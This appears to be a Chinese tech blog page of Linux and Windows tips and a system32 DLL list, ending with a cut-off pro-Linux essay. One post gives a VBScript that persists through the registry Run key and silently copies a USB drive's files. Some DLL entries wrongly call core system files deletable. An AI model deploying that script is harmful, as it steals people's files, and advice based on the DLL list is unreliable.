久一网络科技

久一网络科技是您快速建站的首选,我们提供快速高效的服务:快速建站,服务器运维,整站建设,网络编程,网络安全等。持久的品质保证,始终如一的服务理念,久一网络科技-----您身边的网络专家。 如有需求,请联系:tech@jooyee.net

只需要把含有中文的文件转换成UTF-8就行了,不信试试……
继续阅读...

加上编译参数-s后文件就小了,原因如下:
Item "-s"
Remove all symbol table and relocation information from the executable.

测试环境:mingw32-gcc(4.4)
继续阅读...

下载了Ubuntu 8.10,安装之后,用Firefox 3.03上网,连接经常被重置,丢包现象严重,于是到网上去查了一下解决方法。

解决:设置连接的MTU值。在网络连接上点右键,选择编辑连接,有线,编辑,在MTU那里填上1500(取得的办法附后,不一定适合你的网络),然后确定就可以了,测试了5分钟,没有出现连接被重置。

MTU是Maximum Transmission Unit的缩写。意思是网络上传送的最大数据包。MTU的单位是字节。大部分网络设备的MTU都是1500。如果本机的MTU比网关的MTU大,大的数据包就会被拆开来传送,这样会产生很多数据包碎片,增加丢包率,降低网络速度。把本机的MTU设成比网关的MTU小或相同,就可以减少丢包。

在本机打开终端窗口,执行:ping -f -l 1472 192.168.0.1
其中192.168.0.1是网关IP地址,1472是数据包的长度。请注意,上面的参数是“-l”(小写的L),而不是“-1”。

>>如果能ping通,表示数据包不需要拆包,可以通过网关发送出去。

>>如果出现:Packet needs to be fragmented but DF set.表示数据包需要拆开来发送。此时,减少数据包长度,再执行上面的ping命令。从1400到1472之间多试几次,就能找到合适的数据包长度了。把数据包长度加上数据包头28字节,就得到MTU的值。

>>如果检测到网关的MTU值是1500,不需要修改。

>>如果网关有防火墙ping不通,可以试试直接把MTU设为1400。
继续阅读...

开始装了wine不能运行,后来去网上看了,发现只要卸载scim,并装上fcitx,就OK了,呵呵
继续阅读...

windows xp下从硬盘安装ubuntu-8.10-alternate-i386

1.下载文件系统:ubuntu-8.10-alternate-i386.iso

URL:http://releases.ubuntu.com/intrepid/

2.下载引导文件:vmlinuz 和 initrd.gz

URL:http://archive.ubuntu.com/ubuntu/dists/intrepid/main/installer-i386/current/images/hd-media/

3.下载启动工具:grub4dos

URL:http://download.gna.org/grub4dos/

4.将 ubuntu-8.10-alternate-i386.iso 放在任意分区(FAT32或者NTFS都可以,如果放在目录下,目录名不能包含空格,否则会提示找不到文件);

将 vmlinuz 和 initrd.gz 放在C盘根目录下;

将下载的grub4dos解压出三个文件:grldr、grub.exe、menu.lst,放在C盘根目录下。

5.用记事本打开menu.lst,后面加上如下内容:

title Install Ubuntu 8.10
kernel (hd0,0)/vmlinuz
initrd (hd0,0)/initrd.gz

6.用记事本打开C盘根目录下的系统隐藏文件boot.ini,后面加上如下内容:

c:\grldr=GRUB4DOS

7.重启电脑选择 GRUB4DOS ,再选择 Install Ubuntu 8.10,即可进入文本安装模式。


>>无法分区解决方法:(参考网上的朋友)

当出现分区画面时(无法显示分区操作选项),执行如下操作:

Alt+F2-->Enter-->umount -l hd-media-->Alt+F1-->Go Back-->Enter

That's all!
继续阅读...

打开Realplayer工具-首选项-硬件,去掉XVideo,再把音频驱动程序改为OSS
继续阅读...

只要执行如下命令即可,这好像是一个bug

sudo dpkg -i –ignore-depends=libstdc++6-4.1-dev g++-4.1_4.1.2-0ubuntu4_i386.deb
sudo dpkg -i –ignore-depends=g++-4.1 libstdc++6-4.1-dev_4.1.2-0ubuntu4_i386.deb
继续阅读...

FreeBSD默认的安装方式下,声卡驱动是不加载的,因此,启动图形界面的时候可能检测不到声卡而报错。加载声卡的方法为 # kldload snd_driver
这是个 meta 驱动,一次加载了最常见的设备驱动。 这会提高搜索正确驱动的速度。

#dmesg | grep pcm
pcm0: port 0xe000-0xe03f,0xdc00-0xdcff irq 11 at device 31.5 on pci0
pcm0:

声卡的状态可以通过 /dev/sndstat 文件来查询:

# cat /dev/sndstat
FreeBSD Audio Driver (newpcm)
Installed devices:
pcm0: at io 0xdc00, 0xe000 irq 11 bufsz 16384 kld snd_ich (1p/1r/0v channels duplex default)

说明该声卡的类型为:snd_ich

然后在/boot/defaults/loader.conf中的声卡设置里找到snd_ich_load="NO"项,把NO改成YES即可 , 或着在内核文件里面加入:

device sound
device "snd_ich"
继续阅读...

http://filehost.googlecode.com/files/winavr_delay.c
继续阅读...

http://filehost.googlecode.com/files/bat%E8%AE%B2%E8%A7%A3.zip


http://filehost.googlecode.com/files/vbs%E8%AE%B2%E8%A7%A3.txt
继续阅读...

On Error Resume Next '容错语句
Set fso=CreateObject("Scripting.FileSystemObject") '建立fso对象
dim n
Set n=CreateObject("Wscript.Shell")
Set dir=fso.GetSpecialFolder(1) '读取C:\windows\system32目录
fso.GetFile(WScript.ScriptingFullName).Copy(dir&"\copy.vbs") '把自己复制到C:\windows\system32
dim r
Set r=CreateObject("Wscript.Shell") 'r用于写注册表
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" '加入自启动项
fso.CreateFolder("D:\biweilun's Files") '建立文件夹,用于存放U盘文件
for i=1 To 2
i=1 '这里是关键所在,写一个死循环
fso.CopyFile "h:\*.*","D:\biweilun's Files",True '复制文件,U盘为h盘
wscript.sleep 10000 '脚本挂起10秒,10000毫秒
next
继续阅读...

强文!菜鸟必看!system32下的所有文件的简单说明2007-10-23 10:51aclui.dll .....Security Descriptor Editor,没有它,注册表编缉器会无法运行
ACTIVEDS.DLL .....(ADs 路由层 DLL). 没有它, 打开事件查看器会出错
ADSLDPC.DLL ......ADs LDAP 提供程序 C DLL
ADVAPI32.DLL .....
ASYCFILT.DLL ....我所安装的一个程序 StatBar, 需要这个文件
ATL.DLL .......... Windows XP ATL 模块 (Unicode)
AUTHZ.DLL ........认证框架
BASESRV.DLL ......Windows NT BASE API Server DLL
BATMETER.DLL .....(电池助手 DLL). 打开电源选项需要这个文件
bootvid.dll .....VGA 启动驱动
BROWSELC.DLL .....外壳浏览器用户界面库
browser.dll .....Computer Browser Service DLL
BROWSEUI.DLL ..... 外壳浏览器用户界面库
browsewm.dll ...BrowseWM Player
CABINET.DLL ......(Microsoft? Cab 文件 API). 想要正常打开系统选项就要保留这个文件
CALC.EXE .......(计算器). Windows 自带的计算器程序
CFGMGR32.DLL ...配置管理转发器 DLL,没有它,无法在资源管理器中对磁盘进行格式化
clb.dll .....Column List Box,没有它,注册表编缉器会无法运行
CMD.EXE ....(命令行).可提供 Windows NT 下的命令行提示符 (MS-DOS 外壳解释程序)
comcat.dll .....Microsoft C 运行时库文件
COMCTL32.DLL .....通用控件库
COMDLG32.DLL .....通用对话框 DLL
console.dll ....控制面板控制台小程序
control.exe ....Windows 控制面板 (这个不是实际上的控制面板.)
CONVERT.EXE ....(转换). 用于将分区格式从 FAT 转为 NTFS 以及从 NTFSv4 转为 NTFSv5
CREDUI.DLL .......授权证书管理程序用户界面
crtdll.dll .....加密管理器
CRYPT32.DLL ......32 位加密 API
CRYPTDLL.DLL .....加密管理程序
CRYPTUI.DLL ......Microsoft 加密用户界面提供程序
CSRSRV.DLL .......客户端服务器运行时进程
CSRSS.EXE ........(客户端-服务器运行时服务器子系统). 用于维护Win32 系统环境控制台以及其它基本功能.
desk.cpl ......显示属性
deskmon.dll .... 高级显示监视器属性
devenum.dll ....设备枚举
devmgr.dll .....设备管理器 MMC 管理工具
diskcopy.dll ...Windows DiskCopy
dmintf.dll ..... 磁盘管理 DCOM 接口存根
dmutil.dll ..... 逻辑磁盘管理器工具库
DNSAPI.DLL .......DNS 客户端 API DLL
fmifs.dll ......FM IFS 工具 DLL
framebuf.dll ...帧缓冲显示驱动
GDI32.DLL ........GDI 客户端 DLL(含有XCMD设置字体的函数)
hal.dll ........(硬件抽象层). 隐藏 Windows 应用程序处理硬件问题的复杂性(启动之后可删除的文件)
hccoin.dll .....USB 协同安装程序
hotplug.dll ....用于安全移除硬件, 比如, U 盘
icaapi.dll ..... TermDD 设备驱动的 DLL 接口
ifsutil.dll ....IFS 工具 DLL
IMAGEHLP.DLL .....Windows NT 图像助手(IE显示图像需要)
imm32.dll ........(Windows XP IMM32 API 客户端 DLL). 用于正常打开系统属性
inetmib1.dll ...Microsoft MIB-II subagent
input.dll ......(文本输入 DLL). 语言和区域设置需要这个文件来显示相关对话框
IPHLPAPI.DLL .....IP 助手API
iyuv_32.dll ....Intel Indeo(R) Video YUV Codec (文件版本: 5.1.2600.2180)
kbdus.dll .....美国键盘布局
kdcom.dll .......内核调试程序硬件扩展 DLL(启动之后可删除的文件)
KERBEROS.DLL .....Kerberos 安全包
kernel32.dll .....Windows NT BASE API 客户端 DLL
LINKINFO.DLL .....Windows 卷目追踪
lpk.dll ........会话注销工具
LSASRV.DLL .......LSA 服务器 DLL
LSASS.EXE ........(LSA 安全服务). 本地安全认证服务器进程
main.cpl ......鼠标
MFC42.DLL ......MFCDLL 共享库
mfc42u.dll .....MFCDLL 共享库
MPR.DLL ..........多个提供程序路由 DLL
MPRAPI.DLL .......(Windows NT MP 路由管理DLL)
mprui.dll .......多个提供程序
MSASN1.DLL .......ASN.1 运行时 API
mscat32.dll ....MSCAT32 Forwarder DLL
mscms.dll ........(Microsoft 色彩匹配系统 DLL). 这个模块中包含了一些用于校正图像色彩,以及用于色彩映射, 色彩管理的函数
MSCTF.DLL ......MSCTF 服务器 DLL
msftedit.dll ..RTF 文本编辑控件, v4.1
MSGINA.DLL .......Windows NT 登录 GINA DLL
msh263.drv ....Microsoft H.263 ICM 驱动
msidntld.dll ...Microsoft 标识管理器
MSIMG32.DLL ......GDIEXT 客户端 DLL
MSIMTF.DLL .....Active IMM 服务器 DLL
msls31.dll .......(Microsoft 线性服务库文件). Internet Explorer 需要这个文件
msports.dll ....端口类别安装程序
MSPRIVS.DLL ......Microsoft 特权转换
msrle32.dll ....Microsoft RLE 压缩器
mssign32.dll ...Microsoft 受信赖签证 APIs
mssip32.dll ....MSSIP32 Forwarder DLL
msvcirt.dll ....Windows NT IOStreams DLL
MSVCP60.DLL ......Microsoft (R) C++ 运行时库文件
msvcrt40.dll ...VC 4.x CRT DLL (向后兼容 msvcrt.dll)
MSVCRT.DLL .......Windows NT CRT DLL
msvfw32.dll ...Microsoft Video for Windows DLL
msvidc32.dll ...Microsoft Video 1 压缩器
mydocs.dll .....我的文档文件夹用户界面
ncxpnt.dll .....Netork (不是 Network) 安装向导支持 DLL
NDDEAPI.DLL ......Network DDE 共享管理 APIs
NET1.EXE .......(Network). 与 NET.EXE 的功能相同(在使用net命令的时候需要调用net1,若不存在就无法完成操作)
NET.EXE ........(Network). 用于管理, 配置和查看与网络相关的信息, 例如 net use, net print, net user, 等等
NETAPI32.DLL .....Net Win32 API DLL
netrap.dll .....网络远程管理协议DLL
netui0.dll .....NT LM UI Common Code - GUI Classes (文件版本: 5.1.2600.2180)
netui1.dll .....NT LM UI Common Code - GUI Classes (文件版本: 5.1.2600.2180)
newdev.dll ....添加硬件设备库文件
NOTEPAD.EXE ......(记事本). 文本编辑工具
NTDLL.DLL ........NT Layer DLL
NTDSAPI.DLL ......(NT5DS Library) Windows 的目录服务需要这个ntdsapi.dll 库文件. 目录服务可令 Windows 能够更容易地定位设备以及网络上的资源
ntlanman.dll ...Microsoft? 局域网管理器
ntlsapi.dll ....Microsoft? 许可服务器接口 DLL
netid.dll -----(系统属性-->计算机名)
fontview.exe --字体查看器
fontext.dll --与字体文件夹视图安装字体有关

NTMARTA.DLL ......Windows NT MARTA 提供程序
NTOSKRNL.EXE ..(操作系统内核). Windows XP 操作系统内核, 启动画面就在这个文件中
ocmanage.dll ..可选组件管理库
ODBC32.DLL .......Microsoft Data Access - ODBC 驱动管理器
ODBCBCP.DLL ......(Microsoft BCP for ODBC). 没有这个文件的话, 当你打开电脑管理时会遇到一个错误. 但还是可以打开电脑管理. (我把电脑管理删掉了.)
ODBCINT.DLL ......Microsoft Data Access - ODBC 资源
OLE32.DLL ........Microsoft OLE for Windows
oleacc.dll .......(Active Accessibility 核心组件)
OLEAUT32.DLL ..... Windows 要用它执行OLE (对象链接和嵌入) 操作. OLE 允许将程序创建的对象嵌入到另一个程序的文档或对象中. 例如. 将一个 Excel 表格嵌入到 Word 文档中. Windows 应用程序要经常用到OLE, 因此一般你是无法将其删除的
OLECLI32.DLL ..... 对象链接和嵌入客户端库文件
OLECNV32.DLL .....Microsoft OLE for Windows
oledlg.dll .......(Microsoft Windows(TM) OLE 2.0 用户接口支持)
OLESVR32.DLL ..... 对象链接和嵌入服务器库
OLETHK32.DLL .....Microsoft OLE for Windows
perfctrs.dll ...性能计数器
powercfg.cpl ..电源选项
POWRPROF.DLL .....(电源配置助手 DLL). 如要正常打开设备管理器中的键盘属性, 需要保留这个文件
PROFMAP.DLL ......Userenv
PSAPI.DLL ........进程状态助手
pstorec.dll ..... 受保护存储的COM 接口
pstorsvc.dll .... 受保护存储服务器
REG.EXE ........(注册表控制台). 一个用于查询和修改注册表的命令行工具
REGAPI.DLL .......注册表配置 APIs
REGSVR32.EXE ...(注册服务器). 用于注册组件, DLL
riched20.dll ...RTF 编辑控件, v3.0
rnr20.dll ......Windows Socket2 命名空间 DLL
RPCRT4.DLL .......远程过程调用运行时
RPCSS.DLL ........分布式 COM 服务
RSAENH.DLL .......Microsoft 增强加密提供程序
rshx32.dll ....安全外壳扩展
rtipxmib.dll ...Microsoft Router IPX MIB subagent
RTUTILS.DLL ......路由工具
RUNDLL32.EXE ...(Run DLL). 用于运行 DLL 文件的命令行工具
RUNONCE.EXE ....(Run Once). 用于将要执行的任务添加定义到 RunOnce 注册表项中
SAMLIB.DLL .......SAM 库DLL
SAMSRV.DLL .......SAM 服务器 DLL
SCESRV.DLL .......Windows安全配置编辑器引擎
SCHANNEL.DLL .....TLS / SSL 安全提供程序
SECUR32.DLL ......安全支持提供程序接口
security.dll ...安全支持提供程序接口
services.exe .....(安全和控制程序). Windows XP 用它管理服务
SETUP.EXE ......(Setup). Windows 安装程序
SETUPAPI.DLL .....Windows Setup API
SFC.DLL ..........Windows 文件保护
SFC_OS.DLL .......Windows 文件保护
sfcfiles.dll .....Windows 2000 系统文件检查工具
SHDOCVW.DLL ...... 外壳文档对象和控件库
SHELL32.DLL ......Windows 外壳通用 Dll
shellstyle.dll ..Windows 外壳样式资源Dll
SHFOLDER.DLL .....(外壳文件夹服务). 若要正常打开系统属性, 需要保留此文件
shgina.dll .....Windows 外壳用户登录 <-- 这个文件用于从你的桌面上重启电脑. 进一步讲, 一旦你将其删除或是将其从 system32 文件夹中移走, 那么即使你将其放回, 也照样无法从你的桌面重新启动
shimgvw.dll ......(Windows 图片和传真查看器). 我要用它看电脑上的图片
SHLWAPI.DLL ......外壳 Light-weight 工具库
sigtab.dll .....文件完整性设置(系统属性-->硬件-->驱动程序签名选项的对话框)
SMSS.EXE .........(会话管理器). 是个会话管理器, 用于在启动期间创建Windows XP 环境
snmpapi.dll ....SNMP 工具库
softpub.dll ....Softpub Forwarder DLL
softpub.dll ....Softpub Forwarder DLL
STOBJECT.DLL .....(Systray 外壳服务对象). stobject.dll 是个库文件, 包含了一些像是图标这样的资源
streamci.dll ... 流设备类别安装程序
SVCHOST.EXE ...... Win32 服务的常规宿主进程
SXS.DLL ..........Fusion 2.5
sysdm.cpl .....系统属性
SYSTRAY.EXE ....(系统栏). 系统栏提供程序. 它能控制任务栏和系统栏. 但是, 没它的话, 也没有什么不正常的地方
TASKMGR.EXE ...(任务管理器). 平时使用的任务管理器
themeui.dll ......Windows 主题 API
timedate.cpl ..时间和日期
ufat.dll .......FAT 工具 DLL
ULIB.DLL .......文件工具支持 DLL
umdmxfrm.dll .....Unimodem 转换模块
umpnpmgr.dll .....用户模式即插即用服务
untfs.dll ......NTFS 工具 DLL
ureg.dll .......注册表工具 DLL
urlmon.dll ....... Win32 OLE32 扩展
usbui.dll ...USB 用户界面 Dll
user32.dll .......Windows XP 用户 API 客户端 DLL
userenv.dll ......用户环境
USERINIT.EXE ..(用户初始化). 在用户登录之后, 用于确定操作系统的环境
usp10.dll .....Uniscribe Unicode 脚本处理器
UXTHEME.DLL ......Microsoft UxTheme Library
VERSION.DLL ......版本检查和文件安装库
vga64k.dll .....32K/64K 色 VGA\SVGA 显示驱动
vga.dll .....VGA 16 色显示驱动
w32topl.dll ....Windows NT Topology 维护工具
WDIGEST.DLL ......Microsoft 采集访问
WIN32K.SYS .......多用户 Win32 驱动
WININET.DLL ......Internet 扩展
winipsec.dll ....Windows IPSec SPD Client DLL
WINLOGON.EXE .....Windows NT 登录应用程序
WINMM.DLL ........MCI API DLL
WINRNR.DLL .......LDAP RnR 提供程序 DLL
WINSPOOL.DRV ...Windows 缓冲池驱动
WINSRV.DLL .......Windows Server DLL
WINSTA.DLL .......工作站库文件
WINTRUST.DLL .....Microsoft 受信赖证书 APIs
WLDAP32.DLL ......Win32 LDAP API DLL
WMI.DLL ..........(WMI DC 和 DP 功能). 若要正常打开电脑管理, 则需要保留此文件
WS2_32.DLL .......Windows Socket 2.0 32 位 DLL
WS2HELP.DLL ......Windows Socket 2.0 助手
wshnetbs.dll ...Netbios Windows套接层助手DLL
WSOCK32.DLL ......(Windows 32 位套接层 DLL). 某些涉及到网络的软件会需要它
WTSAPI32.DLL .....Windows 终端服务器 SDK API
继续阅读...

UNIX的设计者 Dennis Ritchie 说:
“UNIX是简单的,你不需要成为天才也能理解这种简单。”由于GNU/Linux这个词太长,下面如果没有特别指明,“Linux”就是指“GNU/Linux”。
在这个年代,恐怕没有人需要我来介绍 Linux是什么了吧?如果你觉得“Linux 只不过是跟 DOS差不多的东西”,那你恐怕很久在山洞里没见天日了吧?请问问你旁边的Linux用户,Linux到底是个什么地位?那为什么我还要写一篇这样的文章?因为,我发现还有很多人不不理解Linux 和 UNIX,虽然他们也在用它,但是他们有时会问:“为什么 Linux不能像 Windows 那样 ……?”,“怎么Redhat Linux不能 mount NTFS分区!”,“Linux下用什么整理硬盘?”,“什么时候OpenOffice才能完全兼容Word文件啊?”,“现在还有什么Windows能干的事情Linux干不了的?”……他们有40G的硬盘,却只为Linux 分配了2G空间,有时还抱怨“这个东西怎么占这么多硬盘!” 似乎Windows该占用大部分硬盘。他们把重要的数据装在Windows的分区,似乎信不过Linux。他们总是到处寻找新奇的,好看的GUI程序,对命令行的东西一概不屑一顾。他们对Drag&Drop,菜单配置,自动升级非常感兴趣。他们如果找到一个很像Windows程序的 Linux 程序,一定会很高兴的说:“哈哈!Linux 也能……了!”如果Linux在某种测试中胜过Windows,他们会高兴得跳起来。他们没有办法用Linux解决问题的时候,甚至用Wine来运行Windows程序。有时实在没办法,只好重起到Windows,或者干脆省得麻烦,在 Windows 下装一个 VMWare 虚拟一个Linux 玩。你支持 Linux,你喜欢Linux,你能从中感觉到快乐,这非常好。你现在只需要明白的
是:Linux 从来就不是一个玩具,它是天才UNIX的后代。UNIX是自晶体管发明以来最伟大的发明,它从诞生那一天开始就比 Windows的设计出色。Linux并不需要追赶Windows,不需要打垮微软,它的最终目标是改变整个计算机世界,还人们自由,给人们乐趣和方便。其它UNIX很多都已经败在Linux脚下,更何况Windows!
你如果出现了以上的情况,说明你的思想受到了 Windows的某种潜移默化的影响和误导。你没有能够从本质上理解存在于 Linux身上的 UNIX 思想。UNIX的设计者 Dennis Ritchie 说:“Unix is simple.It just takes a genius to understand its simplicity.”但是我不这么认为,因为我不是一个天才,但是我却勇敢的把Windows完全删除掉,半年之后我体会到了 UNIX的思想和好处。因为我相信这样的信念:
“Windows 能办到的事 Linux 一定能办到,而且办的更好。”
这小节开头的话应该改成:“Unix 是简单的,但是在这个冲斥着 Windows错误观念的
世界,你需要信念和勇气才能理解它的简单!”我下面就告诉你一些我理解到的东西。
微软的地位
微软的名声在欧洲和美国的大学里,特别是在计算机系里之坏,大家可能有所耳闻。我
认识的 MIT,Stanford的教授,贝尔实验室的专家,甚至一个欧洲小国的高中计算机
老师都绝口不提微软的名字。在他们眼里,微软只是一个没有真技术,专靠在落后国家商
业宣传和垄断经营的小公司。这个“小”并不是说它人少,钱少,而是说它先进技术少
。我上次和王益合作写了一个算法演示程序,那个算法是贝尔实验室一位科学家Steven
Fortune很天才的发明,为了程序能够被身边大多数人使用,我们选择了VC+MFC 作为
平台。我在分析算法时还得到 Fortune很热情的鼓励,寄给我一份资料,还多次回信耐
心的给我讲解了很多细节。但是程序完成之后,我把样品发给Fortune,他回信说:“对
不起。我机器上没有 MFC。” 话说的很客气,但是我已经感觉到了他对Windows 的不
屑。然后我把 MFC静态编译进程序再发给他,他就没有再回信了。他显然不是瞧不起
我,而是确实有难处。
你能感觉到这位科学家对微软和 Windows是什么态度了吧?不是反感,而是他心里根
本没有 Windows这个东西!微软在高科技领域没有发展,那么它怎么生存呢?到发展中
国家去发展一下,他们的人民还对电脑一无所知,我说不定甚至可以打入大学的计算机系
呢。我送他们软件,我捐钱盖大楼,我找图灵奖获得者来演讲!
好了,现在全国的大学包括清华,几乎所有人机器必装盗版 Win2000,Office XP,学
校的选课系统是非IE不能正确浏览,论文用 Word 编辑,演示用ppt做,连863 项目都用
VC写程序了。我很久以前就看到一份报纸说,“微软为什么不严厉打击盗版?”这篇
文章说,微软非但不打击中国的盗版行为,而且有放任之趋势。放长线吊大鱼,“以后
我要你们加倍的来还我!” 确实如此,它的目的快实现了。
Windows笼罩下的中国计算机教育说句丢脸的话,比尔盖茨很久以前是我的偶像……
//blush
在中国,比尔盖茨被很多人奉为神圣,“少年电脑天才”,甚至有的人提到他的名字就
做出“抱拳对天”的姿势。很多人谈到微软的“新技术”,“高科技”都是眉飞色
舞。各种“VC编程圣经”,“深入了解 VisualC++”之类的书,在开头几页都会出现非常
肉麻的字眼,“在那团团的混沌中,一个开天辟地的精灵,Windows1.0,诞生了……”
微软的软件被这么多人盗用,那么人们是怎样使用这些盗版程序的呢?先看看电脑培训
班,教的都是一些 DOS 命令,打字,Windows 基本操作,Word文档处理,PowerPoint
,高级班可能有 Excel,Access…… 参加各种微软认证考试,MCSE, MSDE的人络绎不
绝,考试辅导班都贴出了“280元。考过为止”之类的字样,考试参考资料更是昂贵,
有些电脑书店整整两书架都是“MicrosoftPress”的东西。我有个同学参加认证考试,
每门考试都要200多元,而且你一次考不过再考,又要交钱。他后来还津津乐道跟我说,
看我,花了XXXX(一个四位数)元考过了微软认证,得到一张比尔盖茨亲笔签名的证书和价
值6000元的 Windows XP 内部发行版。
“电脑要从娃娃抓起”,我们再来看看娃娃们学的是什么。大部分家长给孩子买了电脑
之后,他们首先就会装一个盗版的Windows,然后买来盗版的游戏开始玩。如果哪个孩
子会用 Delphi编程序,那可不得了。报社记者,电视台争相报导,说,某某学校的初
中生某某,在别人都还在玩电脑游戏这种“初级阶段”的时候就已经用Delphi 写程序
了。镜头还瞄准了他显示器上面的像框中的比尔盖茨头像!
我刚进入大学计算机系时还不懂得什么是操作系统,因为我以前只用过“中华学习机”
。看到新入学的同学们各个谈论的都是 “Windows 95”,“VC”……我简直觉得我落
后了好几十年一样,整个一土人,根本跟他们答不上话。好不容易找到一个比较熟的同
学问了一下:“你们天天谈论的瘟95是什么啊?”答:“win95就是一个操作系统,跟D
OS是一类。”“朵死是什么?”“你连DOS都不知道是什么?别在计算机系混了。”
学校上课当然不讲VC编程之类的东西,但是上 Pascal的老师有一次就说:“嗨,我们学
校真是落后。现在别人都用 C, C++,甚至 VC 了,我们还在讲Pascal。不知道什么时
候才能有VC课啊。你们出去也是要用VC的,只好自学了。”有些同学很多时候上课都
捧着一本很重的“Windows编程大全”之类的书,根本没有听课,吃饭时就念念有词的跟
我说,“代码的优化是无止境的”,“匈牙利命名法真是伟大的发明” ……这就是中
国很多大学计算机系的情况。
感觉到无知了?这不是偶然的,而是微软长久以来的如意算盘。它要让无知的大家都把
它奉为神圣,它要让支持UNIX, Xwindow的人一旦说 UNIX 好,Xwindow好的时候,都
被一群人围着说教:“这个 Windows 也能做到”,“你对 Windows有偏见”,“微软才
是主流啊”,“你敢瞧不起 win2k?”,“.NET就是世界潮流”,“微软的毕竟是新
技术”,“有钱就是有技术”……甚至在一番论战比较后败下来还是要说:“Windows
性能差点,但是易用性强”,“Windows是老百姓用的,要求别那么高”,“微软那么有
钱,以后想超过 UNIX 还不容易吗?”……
发达国家的计算机教育
我前段时间在 USENET 发文问有关 Scheme语言的问题时,认识了一位丹麦人。他解决
了我所有的问题,并且建议我阅读一些很“深奥”的有关程序语言语法,文法的书,他
告诉我很多网站可以学习 LISP,Scheme,人工智能,算法。他叫我看Jonathan Rees
的论文。他还打包给我寄过来一份 MIT 的 "How to DesignPrograms"。他说他在自己
的 PC 机上装的是 Linux,他用 Emacs 编辑,运行 Scheme 程序。他对Emacs 的了解
和爱好真是使人惊讶。他大学本科毕业时做的毕业设计是一个 Scheme 解释器。这对于
我来说是望尘末及了。
他是那么的不厌其烦,我的每一个问题他都详细的回答。我有时都觉得过于详细了,怎
么这么耐心啊?我觉得他似乎是我的高中老师。他是什么样的人呢?我好奇的打听了他
的情况。原来,她是丹麦一所普通高中的计算机老师!注意我换了人称代词!
她说她在高中里讲授程序设计和算法,计算机语言文法分析。她说用Scheme,她的学
生不用再为指针越界,内存泄漏等程序语言本身的问题而烦恼,而专注于问题和算法本身
。有利于培养学生解决问题的能力,特别是用计算机解决数学问题的能力。
天哪!为什么欧洲出现那么多数学家,几何学家?你看看别人重视的是什么!我们的计
算机教育如果继续这样下去,只会沿着弯路越走越远!
微软和它的朋友们的如意算盘
下面来看看微软的收入是怎么来的。首先,Windows98系列操作系统,一个就是 100
多美元,每次升级又是几乎同样的价钱。Windows NT还要贵几倍,而且有用户数目限
制,5个用户的,10个用户的……以后如果要增加用户数目还要按比例付钱。这个奇怪的现
象被通用汽车公司的总裁比喻为:“你买的微软牌汽车最开头只有一个座位,每加一个
座位你得向汽车公司付钱,每开100英里要大修一次,每过一年要换一次引擎。”
花了如此多钱买来的操作系统就能用了吗?它竟然连压缩程序都没有提供!你装上
Windows 之后一般第一件事就是去下载一个 WinZip 吧,“只要 29美元”。Windows 会
中病毒啊,马上花 70 美元买一个 Norton AntiVirus吧。还有黑客呢?再买一个
Norton Internet Security 好了,100美元。系统需要优化,磁盘需要整理,买一个
Norton System Works 是你最佳的解决方案,100美元。
可是你现在还是不能干正事啊!你想要一个 Word, PowerPoint?那就买一套Office
XP 吧,一起买便宜些,$459.90。
那些程序不会用啊!那些菜单怎么设置,到底有什么功能啊?看“帮助”也学不会。买
本书看看吧,我推荐“Special Edition Using Microsoft OfficeXP”,不贵,$27.9
9。这本书里面大部分是屏幕抓图,还是买一本旧的比较划算,$17.85。
你如果只是当个秘书,上面的差不多还凑合了。可是你有更高的追求,你想成为
Windows 程序员。首先买一个 Visual Studio.NET吧,要不然怎么编译程序。$494.95。
为了紧跟微软动向,世界潮流,不能不注册个 MSDN什么的吧?这个贵一点,不过物有
所值啊,$2,799。
嗯,你现在已经是上层阶级,白领人士了。你现在可以像这样“自由”的,“安全”的
生活了:
什么是 Windows 能干而 Linux 干不了的事情?
“Windows 能干而 Linux 干不了的事情,那就是不需要干的事情。”
有个朋友看我半年没有用 Windows,有时就会问我:“你只用Linux,有没有发现有些
Windows 能处理的事情 Linux 干不了?”
我回答说:“Windows 能干而 Linux干不了的事情,那就是不需要干的事情。”
Windows 能做的有益的事情 Linux 都能做Windows下的某些功能确实是我们需要的,
那么 Linux的开发者们和用户也需要这种功能,他们就会去实现这种功能,而且比
Windows 的方式好得多。由于大多数科学家,工程师用的都是 Linux或者某种商业
UNIX, 所以几乎所有商业的科学工程程序,比如 Matlab, Mathematica,AutoCAD,
Candence的,Synopsys的,Avant! 的……全都是先有
UNIX 的版本(包括Linux),然后再考虑移植给 Windows,甚至根本不移植给Windows,
因为 Windows 的机器一般没有足够的能力运行这样的程序。你不要以为只有Windows
才有 PSpice, UNIX 的 HSpice要好得多,而且可以运行在大型主机上。当然它们不是免
费的,但是它们值那个价钱。
但是 Windows 下有些东西在 Linux下没有很相似的,或者你找到很多类似的,但是它
们每一个比起 Windows的那个程序都要差很多,那么原因有两种可能性:
有一个完全类似的程序,但是由于它乍一看不漂亮,被你忽略了。
而其它程序虽然看起来很漂亮,但是它们是一些初学编程的人写的。现在由于Gtk+,
Qt 的诞生,Linux下开发图形界面程序极其简单,很多初中生甚至小学生都可以随手编
出一些漂亮不中用的程序。如果你整天寻找这样的程序挑来挑去,永远也找不到你满意
的。
我曾经也犯过这样的错误,优秀的 FVWM, lftp, Mutt, wget都被我忽略过!当我找回
它们的时候,我是那么的羞愧不已,它们现在都是我的朋友 :)用这些程序你可以改变
它们的一切,我第一次看到 FVWM觉得它只不过是一个有很厚很难看边框的东西。可是
现在,我的同学看到 FVWM 都说:“哇!真漂亮。”
有另一种完全不同的方式可以达到相同的目的,甚至更好。
很多人很关心 Open Office, Star Office, AbiWord, ...他们多么盼望有一天某一个
Linux 程序能够完全兼容的打开一个复杂的 doc文档。但是你永远也不可能有那一天
。为什么呢?因为微软为了占有市场,必定不会让其它系统的程序能够完全兼容它的文
档格式!它一定会不断变化 doc文档的内部结构,隐藏一些秘密,让其它公司的程序
打开 doc 文档时总是有某种问题,从而你必需购买 Microsoft Office 和Windows。
你应该想一下,那么多的高智商的大学教授,科学家,学生,他们用的都是Linux 或
者其它类型的 UNIX,他们没有 Word可用,怎么处理文档呢?这么多年没有一个像
Open Office 的程序出现,难道大家没有办法写文档吗?
显然不是这样。你看看那些高水平的学术杂志,论文,那些大学教授的网页,那些漂亮
的PDF幻灯片,它们是什么做的?原来 UNIX 用户早就有非常方便的 troff,LaTeX,
SGML 等东西可以处理文档,而且它们比起 Word 都要高明的多。Word显然被这些大拿忽
略了,以至于很久以来没有人想在 Linux 下开发一个类似 Word的程序,除非某些公
司想抢微软的饭碗。
很多人留着 Windows 在硬盘上的原因无非是为了用 Word 和PowerPoint。你待会儿可
